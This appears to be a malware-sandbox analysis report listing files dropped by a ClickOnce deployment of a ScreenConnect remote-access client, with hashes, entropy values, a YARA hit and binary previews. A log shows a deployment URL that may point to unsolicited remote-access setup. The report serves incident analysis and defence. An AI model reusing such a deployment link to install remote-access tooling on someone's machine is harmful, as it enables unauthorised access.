MD5:	78F2FCAA601F2FB4EBC937BA532E7549
SHA1:	DDFB16CD4931C973A2037D3FC83A4D7D775D05E4
SHA-256:	552F7BDCF1A7AF9E6CE672017F4F12ABF77240C78E761AC203D1D9D20AC89988
SHA-512:	BCAD73A7A5AFB7120549DD54BA1F15C551AE24C7181F008392065D1ED006E6FA4FA5A60538D52461B15A12F5292049E929CFFDE15CC400DEC9CDFCA0B36A68DD
Malicious:	false
Reputation:	low
Preview:	0...0..x..........W..!2.9...wu\0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...130801120000Z..380115120000Z0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40.."0....H.............0..........sh..]J<0"0i3..%..!=..Y..).=X.v..{....0....8..V.m...y....._..<R.R....~...W.YUr.h.p..u.js2...D.......t;mq.-... .. .c)-..^N..!a.4...^.[......4@_.zf.w.H.fWW.TX..+.O.0.V..{]..O^.5.1..^......@.y.x...j.8.....7...}...>..p.U.A2...sn..\|!L....u]xf.:1D.3@...ZI...g.'..O9..X..$\F.d..i.v.v=Y]Bv...izH....f.t..K...c....:.=...E%...D.+~....am.3...K...}....!........p,A`..c.D..vb~.....d.3....C....w.....!..T)%.l..RQGt.&..Au.z._.?..A..[..P.1..r."..\|Lu?c.!_. Qko....O..E_. ........~.&...i/..-............B0@0...U.......0....0...U...........0...U..........q]dL..g?....O0....H..............a.}.l.........dh.V.w.p...J...x\.._...)V.6I]Dc...f.#.=y.mk.T..<.C@..P.R..;...ik.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1307801111573577
Encrypted:	false
SSDEEP:	6:kKh9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:YDnLNkPlE99SNxAhUe/3
MD5:	48E1301192988A5903BC3AA1F650EDDC
SHA1:	30E70E54C87FBEAB4B7EEC4A6372DBA9B09BDDAD
SHA-256:	9D57251AD4ECBFCB144179D3F1817E86D8E08A327C12CDE0632E65B258C95B7C
SHA-512:	374B08C521A286C0BB68C16FAE4953D71E2929832E2EF569F48A9DF07BB68A6953C6ECAE5C1BBA01A2068A2320CB6B8E17FBBF9588D505492BB5C2BB31154FF3
Malicious:	false
Reputation:	low
Preview:	p...... .........2.p.=..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	404
Entropy (8bit):	3.917415538337718
Encrypted:	false
SSDEEP:	12:JD4eKA9HymxMiv8sF3HtllJZIvOP200A9UUW:qeKaymxxvnJ2nA9lW
MD5:	D88E8A96EB2E09C821E2D1F6C41DDE71
SHA1:	3D4DC486C85634CC958D5001F121F2945C67D743
SHA-256:	5E4E7CB9C6A8E6879DE5ED5C1546942C24F6B12DF3D2792E3F958950812142BD
SHA-512:	E0128E42432C5193CB2DDEC20300BDDA41D4D21FB50D6724D531083F6026006AA430B9CFC499C29644F2DD3C6F83B1A917B7DF859D6C0F824741F8261F46D41E
Malicious:	false
Reputation:	low
Preview:	p...... .... ...n.*..=..(.................`.n<.....R.A.....................R.A.. .........KF%=.. ...................h.t.t.p.:././.o.c.s.p...d.i.g.i.c.e.r.t...c.o.m./.M.F.E.w.T.z.B.N.M.E.s.w.S.T.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.S.R.X.e.r.F.0.e.F.e.S.W.R.r.i.p.T.g.T.k.c.J.W.M.m.7.i.Q.Q.U.a.D.f.g.6.7.Y.7.%.2.B.F.8.R.h.v.v.%.2.B.Y.X.s.I.i.G.X.0.T.k.I.C.E.A.u.T.Y.A.U.b.z.P.Z.m.Q.p.m.J.m.N.W.6.l.8.4.%.3.D...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C56C4404C4DEF0DC88E5FCD9F09CB2F1

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.2091018677016283
Encrypted:	false
SSDEEP:	6:kKmLnzNcalgRAOAUSW0P3PeXJUwh8lmi3Y:KStWOxSW0P3PeXJUZY
MD5:	CED3BCB5DE1B3268020CF22EFA712A5A
SHA1:	5A3B4F69E25D42097A0ADADD8EB9F84E647EF7FF
SHA-256:	89B078CC42A1347E702B2D031325FA0D815B898605BAD9183E3F6B788A0E1CCF
SHA-512:	0B1D116D2B6CD9B2419AD6605E14DE053193CE5C0EC5B64A7C42BD904A90B1F9555816B1CFA8337D850BD2BC832850CEC8EC59B65FD9BF37F635803A60C9762F
Malicious:	false
Reputation:	low
Preview:	p...... .........R...=..(....................................................... ........}.-@@......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.G.4.C.o.d.e.S.i.g.n.i.n.g.R.S.A.4.0.9.6.S.H.A.3.8.4.2.0.2.1.C.A.1...c.r.t...".6.0.9.0.3.0.2.2.-.6.b.4."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	412
Entropy (8bit):	4.000654609656299
Encrypted:	false
SSDEEP:	12:nAA92vHymxMiv8sFBSfamB3rbFURMOlAkr:nA9Pymxxv7Sf13rbQJr
MD5:	6739F15D40769B29B6F1029D6ED82175
SHA1:	2D72EDC59F7A71D5B6046F574CB6F08D06CAB78B
SHA-256:	06C66C52B67B29DE5D2D8940659B6D96DB09DAC48AAE00437477D9C5DD7FF2ED
SHA-512:	D31A03F9DF0A4E5AC0A79E8F1A1FD226E155D6D8959630DFDAEC634A39B10A308456A50C209241F61E449070012179CCBD358B0B2EA07DD1D897C458129A3E96
Malicious:	false
Reputation:	low
Preview:	p...... ....(....'.L.=..(..................?.=.....h.B.....................h.B.. ...........#=.. ...................h.t.t.p.:././.o.c.s.p...d.i.g.i.c.e.r.t...c.o.m./.M.F.E.w.T.z.B.N.M.E.s.w.S.T.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.T.f.I.s.%.2.B.L.j.D.t.G.w.Q.0.9.X.E.B.1.Y.e.q.%.2.B.t.X.%.2.B.B.g.Q.Q.U.7.N.f.j.g.t.J.x.X.W.R.M.3.y.5.n.P.%.2.B.e.6.m.K.4.c.D.0.8.C.E.A.i.t.Q.L.J.g.0.p.x.M.n.1.7.N.q.b.2.T.r.t.k.%.3.D...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2E248BEDDBB2D85122423C41028BFD4

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.0607728827192604
Encrypted:	false
SSDEEP:	6:kK+LDcJgjcalgRAOAUSW0PTKDXMOXISKlUp:WLYS4tWOxSW0PAMsZp
MD5:	B5D0B2497C1CF51196C2676B06A7F646
SHA1:	BF38566E3E6F140428ACFA1B7C7266C235FA63B7
SHA-256:	931A23A5DDAF24544AFF40B489B35B7583480F9BCE7F95E6DBEB01CC928CB73B
SHA-512:	703A0ABFCBADDF4DB34944F90E54CEA71B69A6DCCAB594C2356A4E17370212FC0969A0B91C3E59B3EDD052E948AD5A2210C65747EF685DAEC296F78123CB00E5
Malicious:	false
Reputation:	low
Preview:	p...... ....l...b..A}=..(....................................................... ............n......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.R.o.o.t.G.4...c.r.t...".5.a.2.8.6.4.1.7.-.5.9.4."...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\N7AUJNGH.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (607), with CRLF line terminators
Category:	modified
Size (bytes):	13296
Entropy (8bit):	3.8146301950041894
Encrypted:	false
SSDEEP:	192:6vQnwQiBvQnw0ybhvvQnwP+IrtlHXrNjOe12yU3n:cQwQiJQw0+XQwP+Ir/XrNjOe12l
MD5:	897D02D808C77761392EB6DD43BCF57E
SHA1:	A3889FF02890CCCA50DD35512360557B8D7ABDF4
SHA-256:	D79FB4126B2A0EDAB3CE75FEECE1682A5D625CAAEEE525D7696D43AB068835F6
SHA-512:	7AADB67629A28E483A49324648BE33694F4192824048638C8803B34C041CA4A68D779188BC7B01E516D27E924B7CF14546A2287AEBC027E3F5C22982C03E249F
Malicious:	false
Reputation:	low
Preview:	..P.L.A.T.F.O.R.M. .V.E.R.S.I.O.N. .I.N.F.O.......W.i.n.d.o.w.s. .......:. .1.0...0...1.9.0.4.5...0. .(.W.i.n.3.2.N.T.).......C.o.m.m.o.n. .L.a.n.g.u.a.g.e. .R.u.n.t.i.m.e. ...:. .4...0...3.0.3.1.9...4.2.0.0.0.......S.y.s.t.e.m...D.e.p.l.o.y.m.e.n.t...d.l.l. .....:. .4...8...4.6.5.4...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.B.......c.l.r...d.l.l. .......:. .4...8...4.6.4.5...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.B.......d.f.d.l.l...d.l.l. .......:. .4...8...4.6.5.4...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.B.......d.f.s.h.i.m...d.l.l. .......:. .1.0...0...1.9.0.4.1...3.0.0.0.0. .(.W.i.n.B.u.i.l.d...1.6.0.1.0.1...0.8.0.0.).........S.O.U.R.C.E.S.......D.e.p.l.o.y.m.e.n.t. .u.r.l.......:. .h.t.t.p.s.:././.w.o.d.b.a.k.e.r...c.o.m./.B.i.n./.S.c.r.e.e.n.C.o.n.n.e.c.t...C.l.i.e.n.t...a.p.p.l.i.c.a.t.i.o.n.?.e.=.S.u.p.p.o.r.t.&.y.=.G.u.e.s.t.&.h.=.w.o.d.b.a.k.e.r...c.o.m.&.p.=.8.0.4.1.&.s.=.b.c.9.a.7.9.6.e.-.2.e.8.9.-.4.8.b.a.-.9.4.8.4.-.9.3.2.c.8.0.0.a.4.

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.Client.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196373
Entropy (8bit):	6.601504971963017
Encrypted:	false
SSDEEP:	3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYFd:FtNGTGySabqPJYbqSmGX
MD5:	03853A9025C7157F32D78F2C932081A9
SHA1:	08A99480050578A2CBC08F965AF7EA0D4443FF2B
SHA-256:	8F6084FEDF0DEC37F38B4376FC78F9CE24BE90CD15DBB0F219CEB7CF261DE820
SHA-512:	0790B3082D4E9D4AF7173CCF7DDDB87609C238F25B13A08BA5B54AA00D9F006F9B5EADB8DB4592896560FEF7625EBF4AE587A3D1F16DF6B782E6785C22C5DCDA
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ... ....... .......................`......#.....@.................................A...O.... ..\|....................@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc...\|.... ......................@..@.reloc.......@......................@..B................u.......H...........4............_...... .........................................(......(....^.(...........%...}....:.(......}....:.(......}....:.(......}......{....:.(......}.....0..A........(....s....%.~(...%-.&~'.....y...s....%.(...(...+(...+o"...o........0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.&...($....5..............s%....=.....0...........~...%-.&~).....\|...s&...%....(...+..~+...%-.&~).....}...s(...%.+...(...+.r9..

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.ClientService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95512
Entropy (8bit):	6.504684691533346
Encrypted:	false
SSDEEP:	1536:Eg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkggU0HMx790K:dhbNDxZGXfdHrX7rAc6myJkggU0HqB
MD5:	75B21D04C69128A7230A0998086B61AA
SHA1:	244BD68A722CFE41D1F515F5E40C3742BE2B3D1D
SHA-256:	F1B5C000794F046259121C63ED37F9EFF0CFE1258588ECA6FD85E16D3922767E
SHA-512:	8D51B2CD5F21C211EB8FEA4B69DC9F91DFFA7BB004D9780C701DE35EAC616E02CA30EF3882D73412F7EAB1211C5AA908338F3FA10FDF05B110F62B8ECD9D24C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.................................>)....@.................................p...x....`..P............L...)...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...P....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639085961200334
Encrypted:	false
SSDEEP:	24576:dx5xeYkYFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:dx5xTkYJkGYYpT0+TFiH7efP
MD5:	9AD3964BA3AD24C42C567E47F88C82B2
SHA1:	6B4B581FC4E3ECB91B24EC601DAA0594106BCC5D
SHA-256:	84A09ED81AFC5FF9A17F81763C044C82A2D9E26F852DE528112153EE9AB041D0
SHA-512:	CE557A89C0FE6DE59046116C1E262A36BBC3D561A91E44DCDA022BEF72CB75742C8B01BEDCC5B9B999E07D8DE1F94C665DD85D277E981B27B6BFEBEAF9E58097
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...y............." ..0..>..........~]... ...`....... ..............................8.....@.................................+]..O....`..\|............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc...\|....`.......@..............@..@.reloc...............D..............@..B................_]......H.......t...d..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsBackstageShell.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	61208
Entropy (8bit):	6.310126082367387
Encrypted:	false
SSDEEP:	1536:kW/+lo6MOc8IoiKWjrNv8DtyQ4RE+TC6WAhVbb57bP8:kLlo6dccldyQGWy5s
MD5:	AFA97CAF20F3608799E670E9D6253247
SHA1:	7E410FDE0CA1350AA68EF478E48274888688F8EE
SHA-256:	E25F32BA3FA32FD0DDD99EB65B26835E30829B5E4B58573690AA717E093A5D8F
SHA-512:	FE0B378651783EF4ADD3851E12291C82EDCCDE1DBD1FA0B76D7A2C2DCD181E013B9361BBDAE4DAE946C0D45FB4BF6F75DC027F217326893C906E47041E3039B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c+..........."...0.................. ........@.. ....................... .......r....@.....................................O....... ................)..............8............................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H........S......................x.........................................(....^.(.......a...%...}....:.(......}....:.(......}....:.(......}........0..........(....(....(....(....r...p(....o....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s....( ...s....(!......0...........(".....(#.....($....s....%.o%...%.o&...%.o'...%s!...o(...%~....o)...}......(....o*...o+....(,.....@...%..(.....o-....s....}.....{...........s/...o0....s....}..

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsBackstageShell.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	602392
Entropy (8bit):	6.176232491934078
Encrypted:	false
SSDEEP:	6144:fybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuRFtSc4q2/R4IEyxuV5AN:qbAOwJ/MvIFptJoR5NmtiFsxsFE
MD5:	1778204A8C3BC2B8E5E4194EDBAF7135
SHA1:	0203B65E92D2D1200DD695FE4C334955BEFBDDD3
SHA-256:	600CF10E27311E60D32722654EF184C031A77B5AE1F8ABAE8891732710AFEE31
SHA-512:	A902080FF8EE0D9AEFFA0B86E7980457A4E3705789529C82679766580DF0DC17535D858FBE50731E00549932F6D49011868DEE4181C6716C36379AD194B0ED69
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.................. ... ....@.. .......................`............@.................................M...O.... ...................)...@..........8............................................ ............... ..H............text...p.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......XJ......................$.........................................{D.....{E...V.(F.....}D.....}E......0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...... }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N.....{O.....{P...V.(F.....}O.....}P....0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...... 1.c. )UU.

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (10073), with CRLF line terminators
Category:	dropped
Size (bytes):	17858
Entropy (8bit):	5.96124399589564
Encrypted:	false
SSDEEP:	384:rexTuzvdu98aXVEf6/DX9mX9FX9R/QPIYM7Y7:rn6/DX9mX9FX9R/QPIN07
MD5:	7F68A01C2FEA1C80A75E287BB36D6B43
SHA1:	F271EBC2542397E59C3D57D30CC54BF1D9DB4F69
SHA-256:	2E0E46F395D5A6440F179B61C4008ABF3D72CFCDA705A543C8EE18B41D37B025
SHA-512:	C6C1C9D6D9C50F94C9BC8C8A422CD00397EE184B6F6113EA19F9209C0E2339B540EE92D35BCCE81F242D6FDC3C720EC2E56675E702E90C91533A07FA9F9DB753
Malicious:	false
Reputation:	low
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <asmv1:assemblyIdentity name="ScreenConnect.WindowsClient.exe" version="24.3.7.9067" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" type="win32" />.. <application />.. <entryPoint>.. <assemblyIdentity name="ScreenConnect.WindowsClient" version="24.3.7.9067" publicKeyToken="4B14C015C87C1AD8" language="neutral" processorArchitecture="msil" />.. <commandLine file="ScreenConnect.WindowsClient.exe" parameter

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsFileManager.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	81688
Entropy (8bit):	5.8618809599146005
Encrypted:	false
SSDEEP:	1536:Ety9l44Kzb1I5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7j27Vy:PvqukLdn2s
MD5:	1AEE526DC110E24D1399AFFCCD452AB3
SHA1:	04DB0E8772933BC57364615D0D104DC2550BD064
SHA-256:	EBD04A4540D6E76776BD58DEEA627345D0F8FBA2C04CC65BE5E979A8A67A62A1
SHA-512:	482A8EE35D53BE907BE39DBD6C46D1F45656046BACA95630D1F07AC90A66F0E61D41F940FB166677AC4D5A48CF66C28E76D89912AED3D673A80737732E863851
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....o..........."...0..@...........^... ...`....@.. .......................`.......$....@..................................^..O....`...................)...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc........`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....^.(.......;...%...}....:.(......}....:.(......}....:.(......}........0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... ...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(........(+...o,...(-...t....

C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsFileManager.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Temp\Deployment\V1RK12ZX.6BD\O73V56DZ.HLG.application

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (63849), with CRLF line terminators
Category:	dropped
Size (bytes):	117161
Entropy (8bit):	5.583620955921844
Encrypted:	false
SSDEEP:	3072:xNfcT51/FXvMVNWfCXq9ym7m2o9HuzhJOvP:XcfiVIpmt8vOvP
MD5:	6F42E512A254BB82F31D7EF02FCC0D11
SHA1:	7EB3C36D549C1FD40F51C27B09A3DF2AECC91DEC
SHA-256:	6CAF5CE0CFE48DE1C5E59154191229ED707EE4C7315B4D5D0F35EC47B240532A
SHA-512:	651228F3AA2B1E7AAF0999626E34441408B1BBA85FFFC258AFF740F63A121535D90C9EC2ECB4A8106EA42B51537433331B158A007DDC9654E4F35EDA510E93DD
Malicious:	false
Reputation:	low
Preview:	.<?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <assemblyIdentity name="ScreenConnect.WindowsClient.application" version="24.3.7.9067" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <description asmv2:publisher="ScreenConnect Software" asmv2:product="ScreenConnect Client" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <deployment install="false" trustURLParameters="tru

